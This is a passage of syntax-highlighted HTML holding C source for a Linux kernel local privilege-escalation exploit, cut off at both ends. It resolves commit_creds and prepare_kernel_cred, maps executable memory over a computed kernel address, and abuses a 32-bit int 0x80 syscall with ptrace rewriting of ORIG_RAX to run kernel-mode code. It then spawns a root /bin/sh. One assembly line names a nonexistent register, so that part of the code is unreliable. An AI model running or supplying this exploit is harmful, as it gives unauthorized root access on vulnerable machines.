#0000BB">addr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sname</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">p</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">sname</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"_O/"</span><span style="color: #007700">)&nbsp;||&nbsp;</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">sname</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"_S."</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">strrchr</span><span style="color: #007700">(</span><span style="color: #0000BB">sname</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'_'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">&gt;&nbsp;((</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">*)&nbsp;</span><span style="color: #0000BB">sname&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;!</span><span style="color: #0000BB">strncmp</span><span style="color: #007700">(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"smp"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">&gt;&nbsp;(</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">*)</span><span style="color: #0000BB">sname&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;*(</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'_'</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">--;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*</span><span style="color: #0000BB">p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'&#092;0'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ret&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fscanf</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"%s&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sname</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">sname</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"resolved&nbsp;symbol&nbsp;%s&nbsp;to&nbsp;%p&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">name</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">void&nbsp;</span><span style="color: #007700">*)&nbsp;</span><span style="color: #0000BB">addr</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fclose</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">addr</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">fclose</span><span style="color: #007700">(</span><span style="color: #0000BB">f</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}<br /><br />&nbsp;<br />static&nbsp;</span><span style="color: #0000BB">void&nbsp;docall</span><span style="color: #007700">(</span><span style="color: #0000BB">uint64_t&nbsp;</span><span style="color: #007700">*</span><span style="color: #0000BB">ptr</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;size</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">commit_creds&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">_commit_creds</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">get_symbol</span><span style="color: #007700">(</span><span style="color: #DD0000">"commit_creds"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">commit_creds</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"symbol&nbsp;table&nbsp;not&nbsp;available,&nbsp;aborting!&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">prepare_kernel_cred&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">_prepare_kernel_cred</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">get_symbol</span><span style="color: #007700">(</span><span style="color: #DD0000">"prepare_kernel_cred"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">prepare_kernel_cred</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"symbol&nbsp;table&nbsp;not&nbsp;available,&nbsp;aborting!&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;tmp&nbsp;</span><span style="color: #007700">=&nbsp;((</span><span style="color: #0000BB">uint64_t</span><span style="color: #007700">)</span><span style="color: #0000BB">ptr&nbsp;</span><span style="color: #007700">&amp;&nbsp;~</span><span style="color: #0000BB">0x00000000000FFF</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"mapping&nbsp;at&nbsp;%lx&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">tmp</span><span style="color: #007700">);&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">mmap</span><span style="color: #007700">((</span><span style="color: #0000BB">void</span><span style="color: #007700">*)</span><span style="color: #0000BB">tmp</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">PROT_READ</span><span style="color: #007700">|</span><span style="color: #0000BB">PROT_WRITE</span><span style="color: #007700">|</span><span style="color: #0000BB">PROT_EXEC</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">MAP_PRIVATE</span><span style="color: #007700">|</span><span style="color: #0000BB">MAP_FIXED</span><span style="color: #007700">|</span><span style="color: #0000BB">MAP_ANONYMOUS</span><span style="color: #007700">,&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #0000BB">MAP_FAILED</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"mmap&nbsp;fault&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(;&nbsp;(</span><span style="color: #0000BB">uint64_t</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">ptr&nbsp;</span><span style="color: #007700">&lt;&nbsp;(</span><span style="color: #0000BB">tmp&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">size</span><span style="color: #007700">);&nbsp;</span><span style="color: #0000BB">ptr</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*</span><span style="color: #0000BB">ptr&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">uint64_t</span><span style="color: #007700">)</span><span style="color: #0000BB">kernelmodecode</span><span style="color: #007700">;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">__asm__</span><span style="color: #007700">(</span><span style="color: #DD0000">"&#092;n"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&#092;tmovq&nbsp;&#36;0x101,&nbsp;%esc&#092;n"<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"&#092;tint&nbsp;&#36;0x80&#092;n"</span><span style="color: #007700">);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"UID&nbsp;%d,&nbsp;EUID:%d&nbsp;GID:%d,&nbsp;EGID:%d&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getuid</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">geteuid</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">getgid</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">getegid</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">execl</span><span style="color: #007700">(</span><span style="color: #DD0000">"/bin/sh"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"bin/sh"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">NULL</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"no&nbsp;/bin/sh&nbsp;??&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />}<br />&nbsp;<br /></span><span style="color: #0000BB">int&nbsp;main</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;argc</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">char&nbsp;</span><span style="color: #007700">**</span><span style="color: #0000BB">argv</span><span style="color: #007700">)<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">status</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">set&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;esc</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;kern_s&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0xffffffff80000000</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;kern_e&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0xffffffff84000000</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">uint64_t&nbsp;off&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0x0000000800000101&nbsp;</span><span style="color: #007700">*&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">argc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">4</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">docall</span><span style="color: #007700">((</span><span style="color: #0000BB">uint64_t</span><span style="color: #007700">*)(</span><span style="color: #0000BB">kern_s&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">off</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">kern_e&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">kern_s</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((</span><span style="color: #0000BB">pid&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fork</span><span style="color: #007700">())&nbsp;==&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_TRACEME</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">execl</span><span style="color: #007700">(</span><span style="color: #0000BB">argv</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">],&nbsp;</span><span style="color: #0000BB">argv</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">],&nbsp;</span><span style="color: #DD0000">"2"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"3"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"4"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">NULL</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">perror</span><span style="color: #007700">(</span><span style="color: #DD0000">"exec&nbsp;fault"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">pid&nbsp;</span><span style="color: #007700">==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"fork&nbsp;fault&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(;;)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">wait</span><span style="color: #007700">(&amp;</span><span style="color: #0000BB">status</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">WIFEXITED</span><span style="color: #007700">(</span><span style="color: #0000BB">status</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"Process&nbsp;finished&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">WIFSTOPPED</span><span style="color: #007700">(</span><span style="color: #0000BB">status</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;continue;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">WSTOPSIG</span><span style="color: #007700">(</span><span style="color: #0000BB">status</span><span style="color: #007700">)&nbsp;!=&nbsp;</span><span style="color: #0000BB">SIGTRAP</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"Process&nbsp;received&nbsp;signal:&nbsp;%d&#092;n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">WSTOPSIG</span><span style="color: #007700">(</span><span style="color: #0000BB">status</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">esc&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_PEEKUSER</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">*</span><span style="color: #0000BB">ORIG_RAX</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">esc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">0x000000000101</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_POKEUSER</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">8</span><span style="color: #007700">*</span><span style="color: #0000BB">ORIG_RAX</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">off</span><span style="color: #007700">/</span><span style="color: #0000BB">8</span><span style="color: #007700">)&nbsp;==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br 